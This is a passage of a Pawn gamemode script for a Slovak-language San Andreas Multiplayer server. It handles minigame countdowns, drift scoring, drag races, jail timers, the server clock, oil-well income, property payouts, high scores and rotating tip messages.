    return 1;
}

forward DemolationDerbyEnd();
public DemolationDerbyEnd()
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i)) if(Player[i][D_Player]!=9999) OnPlayerExitNFSSA(i);
        }
    }
    Game[D_State]=0;
    Game[D_StartTime]=21;
    Game[D_Players]=0;
    return 1;
}

forward DM_End();
public DM_End()
{
    DM[Players]=0;
    DM[CountDown]=6;
    DM[MaxPlayers]=0;
    DM[State]=0;
    KillTimer(DM[Timer]);
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) Player[i][DM_Player]=9999;
    }
    return 1;
}

forward OnPlayerJoinToDuelArena(playerid);
public OnPlayerJoinToDuelArena(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SavePlayerLastStats(playerid);
        Player[playerid][DA_Player] = Game[DA_Players];
        Game[DA_Players]++;
        SpawnPlayer(playerid);
        Player[playerid][UseNotebook]=true;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
        CreatePlayerObjects(playerid,388,411);
        if(NotebookGamesTimerBool == false)
        {
            NotebookGamesTimer = SetTimer("NotebookGamesCountDownPublic",1000,1);
            NotebookGamesTimerBool=true;
        }
    }
    return 1;
}

forward OnPlayerExitDuelArena(winnerid, loserid);
public OnPlayerExitDuelArena(winnerid, loserid)
{
    if(IsPlayerConnected(winnerid))
    {
        Game[DA_State]=0;
        Game[DA_Players]=0;
        Game[DA_StartTime]=11;
        Player[winnerid][UseNotebook] = false;
        Player[winnerid][DA_Player] = 9999;
        DestroyPlayerObjects(winnerid, 100, MAX_PLAYER_CREATED_OBJECTS);

        if(IsPlayerConnected(loserid))
        {
            DestroyPlayerObjects(loserid, 100, MAX_PLAYER_CREATED_OBJECTS);
            Player[loserid][DA_Player] = 9999;
            Player[loserid][UseNotebook] = false;

            new wName[24],
                lName[24];
            GetPlayerName(winnerid,wName,24);
            GetPlayerName(loserid ,lName,24);

            new string[128];
            format(string,128, "Hráč %s porazil hráča %s v Duel Aréne !", wName, lName);
            SendClientMessageToAll(COLOR_WHITE, string);
        }

        Player[winnerid][LoadPlayerStats]=true;
        OnPlayerSpawn(winnerid);
        LoadPlayerLastStats(winnerid);
    }
    return 1;
}

forward Drifting(playerid);
public Drifting(playerid)
{
    if(Player[playerid][DriftState] == true)
    {
        new Float:x, Float:y, Float:z, vid;
        vid = GetPlayerVehicleID(playerid);
        GetVehicleVelocity(vid, x, y, z);
        speed = floatpower(x*x+y*y, 0.5);

        if(speed > 0.2)
        {
            if(x<0)
            {
                       if(y>0) TDirection = atan(floatabs(x/y));
                else if(y<=0) TDirection = atan(y/x) + 90;
            }
            else if(x>0)
            {
                       if(y<0) TDirection = atan(floatabs(x/y)) + 180;
                else if(y>=0) TDirection = atan(y/x) + 270;
            }
            else if(x==0)
            {
                     if(y>0) TDirection = 0;
                else if(y<0) TDirection = 180;
            }
            GetVehicleZAngle(vid, CDirection);
            DriftAngle = floatabs(TDirection - CDirection);

            //------------- Pridavanie drift score -------------------------------//

            new plusscore=0;

            if((15 < DriftAngle < 80) || ( 280 < DriftAngle < 345)) //ak hrac driftuje
            {
                plusscore += 5;

                if((25 < DriftAngle < 70) || (290 < DriftAngle < 335))
                {
                    plusscore += 5;

                    if((35 < DriftAngle < 50) || (310 < DriftAngle < 325))
                    {
                        plusscore += 5;
                    }
                }

                if(speed > 0.5)
                {
                    plusscore += 5;
                }

                if(speed > 0.75)
                {
                    plusscore += 5;
                }

                if(DriftScore[playerid]>100) DriftScore[playerid]++;
                if(DriftScore[playerid]>300) DriftScore[playerid]+=5;
                if(DriftScore[playerid]>600) DriftScore[playerid]+=10;
                if(DriftScore[playerid]>1000) plusscore = (plusscore * 2);
                if(DriftScore[playerid]>3000) plusscore = (plusscore * 3);
                if(DriftScore[playerid]>10000) plusscore = (plusscore * 5);

                DriftScore[playerid] += plusscore;

                format(PublicDriftString, sizeof(PublicDriftString), "~l~%d", DriftScore[playerid]);
                TextDrawSetString(DrawDriftScore[playerid], PublicDriftString);

                if(EndDriftTimerBool[playerid] == true)
                {
                    KillTimer(EndDriftTimer[playerid]);
                    EndDriftTimerBool[playerid] = false;
                }
            }

            //-------------- Ked hrac prestane driftovat -------------------------//

            else if(DriftScore[playerid] > 0) //ak hrac nedriftuje
            {
                  if(EndDriftTimerBool[playerid] == false)
                {
                    EndDriftTimerBool[playerid] = true;
                    EndDriftTimer[playerid] = SetTimerEx("OnPlayerStopDrifting", DRIFT_STOP_TIME, 0, "i", playerid);
                }
            }
        }
        else if(DriftScore[playerid] > 0)
        {
            if(EndDriftTimerBool[playerid] == false)
            {
                EndDriftTimerBool[playerid] = true;
                EndDriftTimer[playerid] = SetTimerEx("OnPlayerStopDrifting", DRIFT_STOP_TIME, 0, "i", playerid);
            }
        }
    }
}

forward OnPlayerStopDrifting(playerid);
public OnPlayerStopDrifting(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(EndDriftTimerBool[playerid] == true)
        {
            TotalDriftScore[playerid] += DriftScore[playerid];

            DriftScore[playerid]=0;
            TextDrawSetString(DrawDriftScore[playerid], "   ");

            format(PublicDriftString, sizeof(PublicDriftString), "~l~Total points~n~ ~n~%d", TotalDriftScore[playerid]);
            TextDrawSetString(DrawTotalDriftScore[playerid], PublicDriftString);

            EndDriftTimerBool[playerid] = false;
        }
    }
    return 1;
}

forward CancelDrifting(playerid);
public CancelDrifting(playerid)
{
    Player[playerid][DriftState]=false;
    if(EndDriftTimerBool[playerid] == true) KillTimer(EndDriftTimer[playerid]);
    EndDriftTimerBool[playerid] = false;
    DriftScore[playerid] = 0;
    TextDrawHideForPlayer(playerid, DrawDriftScore[playerid]);
    TextDrawHideForPlayer(playerid, DrawTotalDriftScore[playerid]);
    return 1;
}

forward SetPlayerCurrentShopSkin(playerid);
public SetPlayerCurrentShopSkin(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
        PlayerCameraBack(playerid);
        SetPlayerSkin(playerid, Player[playerid][SelectedSkin]);
        Player[playerid][Skin] = Player[playerid][SelectedSkin];
        SetPlayerVirtualWorld(playerid,Player[playerid][SaveVirtualWorld]);
        SetPlayerInterior(playerid,Player[playerid][SaveInterior]);
        SetPlayerPos(playerid,Player[playerid][SavePosX],Player[playerid][SavePosY],Player[playerid][SavePosZ]);
        Player[playerid][SelectedSkin]=9999;
        SendClientMessage(playerid,COLOR_BLUE,"Kupil si si nový oblek !");
    }
    return 1;
}

forward DM_CD();
public DM_CD()
{
    DM[CountDown]--;
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i))
            {
                if(Player[i][DM_Player]!=9999)
                {
                    if(DM[CountDown]>=1)
                    {
                        new numero[8];
                        format(numero,8,"~w~%d",DM[CountDown]);
                        if(DM[CountDown]>=1) GameTextForPlayer(i,numero,500,5);
                    }
                    else
                    {
                        DM[CountDown]=0;
                        GameTextForPlayer(i,"~g~START",2500,5);
                        PlayerCameraBack(i);
                        DM[State]=2;
                        TogglePlayerControllable(i,1);
                    }
                }
            }
        }
    }
    if(DM[CountDown]<=0) KillTimer(DM[Timer]);
    return 1;
}

forward DragCountDown();
public DragCountDown()
{
    Drag[StartTime]--;
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i))
            {
                if(Player[i][DragRacer]==1)
                {
                    if(Drag[StartTime]>=1)
                    {
                        new numero[8];
                        format(numero,8,"~w~%d",Drag[StartTime]);
                        if(Drag[StartTime]>=1) GameTextForPlayer(i,numero,500,5);
                    }
                    else
                    {
                        Drag[StartTime]=0;
                        GameTextForPlayer(i,"~g~START",2500,5);
                        PlayerCameraBack(i);
                        Drag[RaceTime]=0;
                        Drag[DragTimer] = SetTimer("DragTimeUp",100,1);
                        DisablePlayerRaceCheckpoint(i);
                        SetPlayerRaceCheckpoint(i,0,1610.442,-1584.035,28.585,1693.207,-821.979,57.226,13);
                        Checkpoint[i][Series]=1;
                        Checkpoint[i][Number]=0;
                    }
                }
            }
        }
    }
    if(Drag[StartTime]<=0)
    {
        new players=0;
        for(new a=0; a<=Server[ConP]; a++)
        {
            if(IsPlayerConnected(a))
            {
                if(!IsPlayerNPC(a))
                {
                    if(Player[a][DragRacer]==1)
                    {
                        new vehicle = GetPlayerVehicleID(a);
                        players++;

                        if(players==1)
                        {
                            SetVehiclePos(vehicle,1648.218,-1877.338,24.841);
                            SetVehicleZAngle(vehicle,14.6);
                            PutPlayerInVehicle(a,vehicle,0);
                        }
                        else if(players==2)
                        {
                            SetVehiclePos(vehicle,1644.063,-1877.338,24.841);
                            SetVehicleZAngle(vehicle,14.7);
                            PutPlayerInVehicle(a,vehicle,0);
                        }
                        else if(players==3)
                        {
                            SetVehiclePos(vehicle,1639.989,-1878.480,24.841);
                            SetVehicleZAngle(vehicle,16.3);
                            PutPlayerInVehicle(a,vehicle,0);
                        }
                    }
                }
            }
        }
    }

    if(Drag[StartTime]<=0) KillTimer(Drag[StartTimer]);
    return 1;
}

forward DragTimeUp();
public DragTimeUp()
{
    Drag[RaceTime]+=0.1;

    if(Drag[RaceTime]>=120)
    {
        KillTimer(Drag[DragTimer]);

        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i) && Player[i][DragRacer]==1 && Checkpoint[i][Series]==1)
            {
                if(!IsPlayerNPC(i))
                {
                    Player[i][DragRacer]=0;
                    DisablePlayerRaceCheckpoint(i);
                    Checkpoint[i][Series]=0;
                    Checkpoint[i][Number]=0;
                }
            }
        }

        Drag[Players]=0;
        Drag[Reward]=0;
        Drag[StartMoney]=0;
        Drag[RaceTime]=0;
        Drag[State]=0;
    }
    return 1;
}

forward UnPrisoner(playerid);
public UnPrisoner(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][PrisonTime]--;

        if(Player[playerid][PrisonTime]>=1)
        {
            SetTimerEx("UnPrisoner",1000,0,"i",playerid);
            new P_Time[16];
            format(P_Time,16,"Time: %d sec.",Player[playerid][PrisonTime]);
            TextDrawSetString(PrisonTD[playerid],P_Time);
            TextDrawHideForPlayer(playerid,PrisonTD[playerid]);
            TextDrawShowForPlayer(playerid,PrisonTD[playerid]);
        }
        else
        {
            Player[playerid][PrisonTime]=0;
            Player[playerid][IsPlayerJailed]=false;
            SetPlayerPos(playerid,1275.044,-1662.776,19.734);
             SetPlayerInterior(playerid,0);
             SetPlayerVirtualWorld(playerid,0);
            ResetPlayerWeapons(playerid);
            ResetPlayerACMoney(playerid);
            TextDrawHideForPlayer(playerid,PrisonTD[playerid]);
        }
    }
    return 1;
}

forward TimeUp();
public TimeUp()
{
    Server[Minutes]++;

    if(Server[Minutes]>=60)
    {
        Server[Minutes]=0;
        Server[Hours]++;
    }
    if(Server[Hours]>=24)
    {
        Server[Minutes]=0;
        Server[Hours]=0;
    }
    
    ////////////////////////////////////////
    //if(strcmp(GetServerIP(), "127.0.0.1", false)) return SendRconCommand("exit");

    //Mon$TeR: LFSLOFBLKJRTGTNDFFUXBXYTMLURTJOTHPIBBXFLGPZSITRFHOJTDWJHFKLYJJXMKFQEGNISCVIGEJKXIIWLJEBBGLHPYRCJMLWFDPCYRORIOUJSMGHENUQALFWWKNQC
    ////////////////////////////////////////

    new TimeString[16];
    format(TimeString,16,"~w~%02d:%02d",Server[Hours],Server[Minutes]);
    TextDrawSetString(Clock,TimeString);
    TextDrawHideForAll(Clock);

    ////////////////////////////////////////

    new h,m,s;
    gettime(h,m,s);

    if(Server[LastMinute] != m)
    {
        new zaklad = dini_Int("SL/Server/ServerTime.cfg","Time");
        zaklad++;
        dini_IntSet("SL/Server/ServerTime.cfg","Time",zaklad);
        
        //////////////////////////////////
        
        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                    if(Player[i][Logged]==true)
                    {
                        Player[i][Minutes]++;

                        if(Player[i][Minutes]>=60)
                        {
                            Player[i][Hours]++;
                            Player[i][Minutes]=0;

                            Player[i][Respect]+=1.000000;
                            SetPlayerRespect(i, Player[i][Respect]);
                        }

                        SavePlayerAccount(i);
                    }

                    FormatHighScore(i);
                }
            }
        }
    }

    new RealTimeString[16];
    format(RealTimeString,16,"~y~%02d:%02d",h,m);
    TextDrawSetString(RealClock,RealTimeString);
    TextDrawHideForAll(RealClock);

    Server[LastMinute] = m;
    
    ////////////////////////////////////////
    
    for(new c=0; c<3; c++)
    {
        if(CrackStatus[c] == true)
        {
            CrackTimeLeft[c]--;
            
            if(CrackTimeLeft[c] <= 0)
            {
                new cplayer = CrackPlayerID[c];
            
                if(IsPlayerConnected(cplayer))
                {
                    CrackStatus[c]=false;
                    Player[cplayer][Jointy]+=CrackItems[c];
                    
                    new string[256];
                    format(string, 256, "~w~Uspesne sa ti spracovala marihuana a ziskavas ~y~%d~w~ jointov!", CrackItems[c]);
                    FormatPlayerInfoBox(cplayer, "~g~Info Box", string, 3000);
                    
                    CrackTimeLeft[c]=-1;
                    CrackItems[c]=0;
                }
            }
        }
    }

    ////////////////////////////////////////

    for(new i=0; i<=Server[ConP]; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) Refresh(i);

    /////////////////////////////////////////////////////

    for(new b=0; b<Server[CreatedBombs]; b++)
    {
        if(INV_BombStatus[b] == true)
        {
            if(INV_Bomb_T[b] == 2)
            {
                if(INV_Bomb_M_S[b] == true)
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            new Float:f[3];
                            GetObjectPos(INV_BombID[b], f[0], f[1], f[2]);

                            if(IsPlayerInSphere(i, f[0], f[1], f[2], 4))
                            {
                                DestroyObject(INV_BombID[b]);
                                CreateExplosion(f[0], f[1], f[2], 1, 8);
                                INV_BombStatus[b]=false;
                                INV_Bomb_M_S[b]=false;
                                INV_Bomb_T[b]=-1;
                                
                                Server[CreatedBombs]=0;
                                for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
                                {
                                    if(INV_BombStatus[bmb] == true)
                                    {
                                        if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
                                    }
                                }
                            }
                            else
                            {
                                INV_Bomb_M_TimeLeft[b]--;

                                if(INV_Bomb_M_TimeLeft[b] <= 0)
                                {
                                    INV_Bomb_M_TimeLeft[b]=0;
                                    INV_Bomb_M_S[b]=false;
                                    INV_BombStatus[b]=false;
                                    INV_Bomb_T[b]=-1;
                                    DestroyObject(INV_BombID[b]);
                                    
                                    Server[CreatedBombs]=0;
                                    for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
                                    {
                                        if(INV_BombStatus[bmb] == true)
                                        {
                                            if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    /////////////////////////////////////////////////////

    new rv_3DText[16][32];
    for(new rv=0; rv<16; rv++)
    {
        OilWell_Cash[rv] += 10+random(10);

        if(OilWell_Cash[rv] > 100000) OilWell_Cash[rv]=random(10000);

        format(rv_3DText[rv],32,"Ropný Vrt #%d\nTržba: %d$", rv+1, OilWell_Cash[rv]);
        Delete3DTextLabel(OilWell_Text3D[rv]);
    }

    OilWell_Text3D[0]  = Create3DTextLabel(rv_3DText[0] ,0xFF3A00FF,569.27496337891,1307.0632324219,10.190423965454,30,0);
    OilWell_Text3D[1]  = Create3DTextLabel(rv_3DText[1] ,0xFF3A00FF,497.00341796875,1303.3250732422,9.1505527496338,30,0);
    OilWell_Text3D[2]  = Create3DTextLabel(rv_3DText[2] ,0xFF3A00FF,432.60922241211,1268.2310791016,9.5512790679932,30,0);
    OilWell_Text3D[3]  = Create3DTextLabel(rv_3DText[3] ,0xFF3A00FF,359.88739013672,1301.8460693359,12.4765625,30,0);
    OilWell_Text3D[4]  = Create3DTextLabel(rv_3DText[4] ,0xFF3A00FF,377.5654296875,1333.1826171875,11.06206703186,30,0);
    OilWell_Text3D[5]  = Create3DTextLabel(rv_3DText[5] ,0xFF3A00FF,497.46957397461,1388.2076416016,4.5898494720459,30,0);
    OilWell_Text3D[6]  = Create3DTextLabel(rv_3DText[6] ,0xFF3A00FF,425.56146240234,1409.5635986328,7.5859375,30,0);
    OilWell_Text3D[7]  = Create3DTextLabel(rv_3DText[7] ,0xFF3A00FF,399.36611938477,1463.1254882813,7.0158576965332,30,0);
    OilWell_Text3D[8]  = Create3DTextLabel(rv_3DText[8] ,0xFF3A00FF,425.59945678711,1511.8900146484,11.4921875,30,0);
    OilWell_Text3D[9]  = Create3DTextLabel(rv_3DText[9] ,0xFF3A00FF,440.43765258789,1564.3244628906,11.4921875,30,0);
    OilWell_Text3D[10] = Create3DTextLabel(rv_3DText[10],0xFF3A00FF,484.51364135742,1526.4641113281,1.00000000,30,0);
    OilWell_Text3D[11] = Create3DTextLabel(rv_3DText[11],0xFF3A00FF,528.41931152344,1472.8763427734,4.0664024353027,30,0);
    OilWell_Text3D[12] = Create3DTextLabel(rv_3DText[12],0xFF3A00FF,594.68103027344,1498.4073486328,8.0703125,30,0);
    OilWell_Text3D[13] = Create3DTextLabel(rv_3DText[13],0xFF3A00FF,646.23419189453,1470.7926025391,9.2810192108154,30,0);
    OilWell_Text3D[14] = Create3DTextLabel(rv_3DText[14],0xFF3A00FF,634.20867919922,1358.6674804688,12.070834159851,30,0);
    OilWell_Text3D[15] = Create3DTextLabel(rv_3DText[15],0xFF3A00FF,591.12982177734,1342.1322021484,10.915557861328,30,0);

    /////////////////////////////////////////////////////

    if(Server[Minutes] == 0)
    {
        GivePlayerPropertyMoney();

        for(new dtc=0; dtc<10; dtc++)
        {
            new Float:vhx, Float:vhy, Float:vhz;
            GetVehiclePos(DTC_Car[dtc], vhx, vhy, vhz);
            if(vhz < 20) SetVehicleToRespawn(DTC_Car[dtc]);
        }
    }

    if((Server[Hours]==9 && Server[Minutes]==0) || (Server[Hours]==21 && Server[Minutes]==0)) Lotto();
    if(((Server[Hours]==0) || (Server[Hours]==6) || (Server[Hours]==12) || (Server[Hours]==18)) && Server[Minutes]==0) Vyplaty();
    if(Server[Hours]==0 && Server[Minutes]==0)
    {
        for(new v=0; v<MAX_VEHICLES_EX; v++)
        {
            for(new i=0; i<=Server[ConP]; i++)
            {
                if(!IsPlayerNPC(i)) SetVehicleParamsForPlayer(v, i, 0, 0);
            }
            VehicleStatus[v] = false;
        }
    }
    
    return 1;
}

forward NotebookGamesCountDownPublic();
public NotebookGamesCountDownPublic()
{
    if(Game[ME2_Players]>0)
    {
        if(Game[ME2_State]==0)
        {
            Game[ME2_StartTime]--;
            new GameText[32], color[16];
                 if(Game[ME2_StartTime]<=5) color="~b~~h~~h~";
            else if(Game[ME2_StartTime]>5 ) color="~b~";
                 if(Game[ME2_StartTime]>0 ) format(GameText,16,"%s%d",color,Game[ME2_StartTime]);
            else if(Game[ME2_StartTime]<=0) GameText="~w~START";

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][ME2_Player]!=9999)
                        {
                                 if(Game[ME2_StartTime]>0 ) GameTextForPlayer(i,GameText,800,5);
                            else if(Game[ME2_StartTime]<=0) GameTextForPlayer(i,GameText,2500,5);

                            if(Game[ME2_StartTime]<=0)
                            {
                                TogglePlayerControllable(i,1);
                                SendClientMessage(i,COLOR_YELLOW,"Choď podľa checkpointov až na koniec trate.");
                                SetPlayerCheckpoint(i,-1760.2420654297,1029.2882080078,98.0390625,2);
                                Checkpoint[i][Series]=2;
                                Checkpoint[i][Number]=0;
                            }
                        }
                    }
                }
            }
            if(Game[ME2_StartTime]<=0) Game[ME2_State]=1;
        }
    }
    else if(Game[ME2_State]!=2)
    {
        Game[ME2_StartTime]=21;
        Game[ME2_State]=0;
        Game[ME2_Players]=0;
    }


    if(Game[NFSSA_Players]>0)
    {
        if(Game[NFSSA_State]==0)
        {
            Game[NFSSA_StartTime]--;
            new GameText[32], color[16];
                 if(Game[NFSSA_StartTime]<=5) color="~g~~h~~h~";
            else if(Game[NFSSA_StartTime]>5 ) color="~g~";
                 if(Game[NFSSA_StartTime]>0 ) format(GameText,16,"%s%d",color,Game[NFSSA_StartTime]);
            else if(Game[NFSSA_StartTime]<=0) GameText="~w~START";

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][NFSSA_Player]!=9999)
                        {
                                 if(Game[NFSSA_StartTime]>0 ) GameTextForPlayer(i,GameText,800,5);
                            else if(Game[NFSSA_StartTime]<=0) GameTextForPlayer(i,GameText,2500,5);

                            if(Game[NFSSA_StartTime]<=0)
                            {
                                TogglePlayerControllable(i,1);
                                SendClientMessage(i,COLOR_YELLOW,"Choď podľa checkpointov až na koniec trate.");
                                SetPlayerRaceCheckpoint(i,0,192.95909118652,-1495.5798339844,12.814994812012,786.49407958984,-1153.3426513672,23.617588043213,15);
                                Checkpoint[i][Series]=3;
                                Checkpoint[i][Number]=0;
                            }
                        }
                    }
                }
            }
            if(Game[NFSSA_StartTime]<=0) Game[NFSSA_State]=1;
        }
    }
    else if(Game[NFSSA_State]!=2)
    {
        Game[NFSSA_StartTime]=21;
        Game[NFSSA_State]=0;
        Game[NFSSA_Players]=0;
    }


    if(Game[MTBR_Players]>0)
    {
        if(Game[MTBR_State]==0)
        {
            Game[MTBR_StartTime]--;
            new GameText[32], color[16];
                 if(Game[NFSSA_StartTime]<=5) color="~g~~h~~h~";
            else if(Game[NFSSA_StartTime]>5 ) color="~g~";
                 if(Game[NFSSA_StartTime]>0 ) format(GameText,16,"%s%d",color,Game[MTBR_StartTime]);
            else if(Game[NFSSA_StartTime]<=0) GameText="~w~START";

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][MTBR_Player]!=9999)
                        {
                                 if(Game[MTBR_StartTime]>0 ) GameTextForPlayer(i,GameText,800,5);
                            else if(Game[MTBR_StartTime]<=0) GameTextForPlayer(i,GameText,2500,5);

                            if(Game[MTBR_StartTime]<=0)
                            {
                                TogglePlayerControllable(i,1);
                                SendClientMessage(i,COLOR_YELLOW,"Choď podľa checkpointov až na koniec trate.");
                                SetPlayerRaceCheckpoint(i, 3, 590.76727294922,-3718.5122070313,51.000000000000, 618.75457763672,-3694.7229003906,51.084793090820, 4);
                                Checkpoint[i][Series]=10;
                                Checkpoint[i][Number]=0;
                            }
                        }
                    }
                }
            }
            if(Game[MTBR_StartTime]<=0) Game[MTBR_State]=1;
        }
    }
    else if(Game[MTBR_State]!=2)
    {
        Game[MTBR_StartTime]=21;
        Game[MTBR_State]=0;
        Game[MTBR_Players]=0;

        for(new a=0; a<4; a++)
        {
            DestroyVehicleEx(MTBR_Bike[a]);
        }
    }


    if(Game[D_Players]>0)
    {
        if(Game[D_State]==0)
        {
            Game[D_StartTime]--;
            new GameText[32], color[16];
                 if(Game[D_StartTime]<=5) color="~r~~h~~h~";
            else if(Game[D_StartTime]>5 ) color="~r~";
                 if(Game[D_StartTime]>0 ) format(GameText,16,"%s%d",color,Game[D_StartTime]);
            else if(Game[D_StartTime]<=0) GameText="~w~START";

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][D_Player]!=9999)
                        {
                                 if(Game[D_StartTime]>0 && Game[D_StartTime]<20) GameTextForPlayer(i,GameText,800,5);
                            else if(Game[D_StartTime]==20) GameTextForPlayer(i,"~r~Waiting For Players",800,5);
                            else if(Game[D_StartTime]<=0) GameTextForPlayer(i,GameText,2500,5);

                            if(Game[D_StartTime]<=0)
                            {
                                TogglePlayerControllable(i,1);
                                SendClientMessage(i,COLOR_YELLOW,"Poráž svojích superov !");
                            }
                        }
                    }
                }
            }
            if(Game[D_Players]<2 && Game[D_StartTime]==20) Game[D_StartTime]=21;
            if(Game[D_StartTime]<=0) Game[D_State]=1;
        }
    }
    else if(Game[D_State]!=2)
    {
        Game[D_StartTime]=21;
        Game[D_State]=0;
        Game[D_Players]=0;
    }


    if(Game[DA_Players]>0)
    {
        if(Game[DA_State]==0)
        {
            Game[DA_StartTime]--;
            new GameText[16];
                 if(Game[D_StartTime] > 0 ) format(GameText,16,"~y~%d",Game[DA_StartTime]);
            else if(Game[D_StartTime] <= 0) GameText="~w~START";

            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][DA_Player] != 9999)
                        {
                                 if(Game[DA_StartTime]>0 && Game[DA_StartTime]<10) GameTextForPlayer(i,GameText,800,5);
                            else if(Game[DA_StartTime]==10) GameTextForPlayer(i,"~r~Waiting For Player",800,5);

                            if(Game[DA_StartTime]<=0)
                            {
                                TogglePlayerControllable(i,1);
                                GameTextForPlayer(i,GameText,2500,5);
                                SendClientMessage(i,COLOR_YELLOW,"Poráž svojho supera !");
                            }
                        }
                    }
                }
            }
            if(Game[DA_Players]<2 && Game[DA_StartTime]==10) Game[DA_StartTime]=11;
            if(Game[DA_StartTime]<=0) Game[DA_State]=1;
        }
    }
    else if(Game[DA_State]!=1)
    {
        Game[DA_StartTime]=11;
        Game[DA_State]=0;
        Game[DA_Players]=0;
    }

    //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    if(Game[ME2_Players]<=0 && Game[NFSSA_Players]<=0 && Game[MTBR_Players]<=0 && Game[D_Players]<=0 && Game[DA_Players]<=0 && NotebookGamesTimerBool == true)
    {
        KillTimer(NotebookGamesTimer);
        NotebookGamesTimerBool = false;
    }
    return 1;
}

forward GivePlayerPropertyMoney();
public GivePlayerPropertyMoney()
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        new total=0;
        new number=0;

        if(Player[i][AFK]==false)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                    for(new p=0; p<MAX_PROPERTY; p++)
                    {
                        if(i == Property[p][MajitelID])
                        {
                            total+=Property[p][Money];
                            number++;
                            GivePlayerACMoney(i,Property[p][Money]);
                        }
                    }
                }
            }
            if(number >= 1)
            {
                new string[128];
                format(string,128,"Vaše nehnetoľnosti (%d) vám zarobili %d$.",number,total);
                SendClientMessage(i,COLOR_GREEN_DARK,string);
            }
        }
    }
    return 1;
}

forward FormatHighScore(playerid);
public FormatHighScore(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        new HSway[64]="SL/Server/HighScore.cfg";

        new Name[24];
        GetPlayerName(playerid, Name, 24);

        new way[32];
        format(way,32,"SL/%s.cfg", Name);

        /////////////////////////////////////////////////////

        if(Player[playerid][Kills] > dini_Int(HSway, "Kills"))
        {
            dini_IntSet(HSway, "Kills", Player[playerid][Kills]);
            dini_Set   (HSway, "KillerN", Name);
        }

        /////////////////////////////////////////////////////

        if((Player[playerid][Bank] + GetPlayerACMoney(playerid)) > dini_Int(HSway, "BankMoney"))
        {
            if(Player[playerid][AdminLevel] < 5)
            {
                dini_IntSet(HSway, "BankMoney", (Player[playerid][Bank] + GetPlayerACMoney(playerid)));
                dini_Set   (HSway, "RichmanN", Name);
            }
        }

        /////////////////////////////////////////////////////

        if(Player[playerid][Deaths] > dini_Int(HSway, "Deaths"))
        {
            dini_IntSet(HSway, "Deaths", Player[playerid][Deaths]);
            dini_Set   (HSway, "ZombieN", Name);
        }

        /////////////////////////////////////////////////////

        if(Player[playerid][Hours] >= dini_Int(HSway, "Hours"))
        {
            if(Player[playerid][Hours] > dini_Int(HSway, "Hours"))
            {
                dini_IntSet(HSway, "Hours", Player[playerid][Hours]);
                dini_IntSet(HSway, "Minutes", Player[playerid][Minutes]);
                dini_Set   (HSway, "ManiakN", Name);
            }
            else if(Player[playerid][Hours] == dini_Int(HSway, "Hours"))
            {
                if(Player[playerid][Minutes] > dini_Int(HSway, "Minutes"))
                {
                    dini_IntSet(HSway, "Hours", Player[playerid][Hours]);
                    dini_IntSet(HSway, "Minutes", Player[playerid][Minutes]);
                    dini_Set   (HSway, "ManiakN", Name);
                }
            }
        }
    }
    return 1;
}

forward ServerMessages();
public ServerMessages()
{
    switch(random(18))
    {
        case 0:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Zamestnaj sa a budeš mať zbrane, uniformu, dostávať plat...");
            return 0;
        }
        case 1:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Navštív Tajné Ammo (Secret Ammo) v ktorom si môžeš kúpiť ťažké zbrane !");
            return 0;
        }
        case 2:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Vyskúšaj drag (závod) na dialnici smerom z LS do LV, prekonaj High Score a získaj peniaze !");
            return 0;
        }
        case 3:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Ak si nevieš rady a potrebuješ pomôcť, opýtaj sa niektorého Admina  ->  /admins");
            return 0;
        }
        case 4:
        {
            SendClientMessageToAll(COLOR_WHITE,"[ *Tip* ] Vykrádaj obchody a zarábaj peniaze ! (/rob)");
            return 0;
        }
        case 5:
        {
            new msg5[128];
            format(msg5,128,"[ *Tip* ] Kúp si jeden z %d domov v LS a SF !", MAX_HOUSES);
            SendClientMessageToAll(COLOR_WHITE,msg5);
            return 0;
        }
        case 6:
        {
            new msg6[128];
